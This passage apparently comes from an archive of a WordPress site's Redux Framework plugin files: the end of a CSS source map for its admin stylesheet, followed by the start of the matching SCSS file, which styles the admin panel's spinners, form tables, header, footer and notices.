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", "sources": ["redux-admin.scss"], "names": [], "file": "redux-admin.css" }lib/redux-framework/assets/css/redux-admin.scss000064400000133112147206624460015654 0ustar00.spinner { visibility: hidden; display: block; } .spinner.is-active{ visibility: visible; } .redux-main .description { margin-top: 7px; } .redux-container { .form-table > tbody > tr > th { width: 30% } .form-table th, .form-table td { margin: 0; padding: 0; width: auto; } .redux_field_th { font-weight: 600; // width: 30%; padding: 20px 10px 20px 0px; display: block; span:first-child { font-weight: normal; display: block; color: #666; } } #ui-datepicker-div { display: none; } //font-family: "Open Sans","Lucida Grande", Sans-serif; background-color: #f5f5f5; /* Old browsers */ background-repeat: repeat-x; /* Repeat the gradient */ background-image: -moz-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* FF3.6+ */ background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #f2f2f2), color-stop(100%, #f5f5f5)); /* Chrome,Safari4+ */ background-image: -webkit-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* Chrome 10+,Safari 5.1+ */ background-image: -ms-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* IE10+ */ background-image: -o-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* Opera 11.10+ */ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#eeeeee', GradientType=0); /* IE6-9 */ background-image: -linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* W3C */ border: 1px solid #dedede; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); -moz-box-shadow: 0 1px 5px rgba(0, 0, 0, 0.4); margin-top: 5px; overflow: hidden; a { &:focus { box-shadow: none; } } #redux-header, #redux-footer { text-align: right; padding: 6px 10px; } #redux-header { background: #f1f1f1; border-bottom: 3px solid blue; .display_header { float: left; margin: 20px 10px; h2 { display: inline-block; font-style: normal; padding-right: 5px; } .redux-dev-mode-notice-container { position: absolute; top: 67px; left: 20px; bottom: auto; width: auto; } span { color: #888; &.redux-dev-mode-notice { //position: absolute; background-color: #f0ad4e; display: inline; padding: .2em .5em .2em; font-weight: 700; line-height: 1; color: #fff !important; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } } } .icon32 { float: right; margin: 16px 16px 0; } } #redux-footer { border-top: 1px solid #E7E7E7; z-index: 999; #redux-share { float: left; line-height: 28px; font-size: 15px; a { text-decoration: none; margin-right: 10px; img { margin-bottom: -3px; } } } } .notice-green { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #DFF0D8; color: #468847; padding: 8px 35px 8px 14px; text-shadow: 0 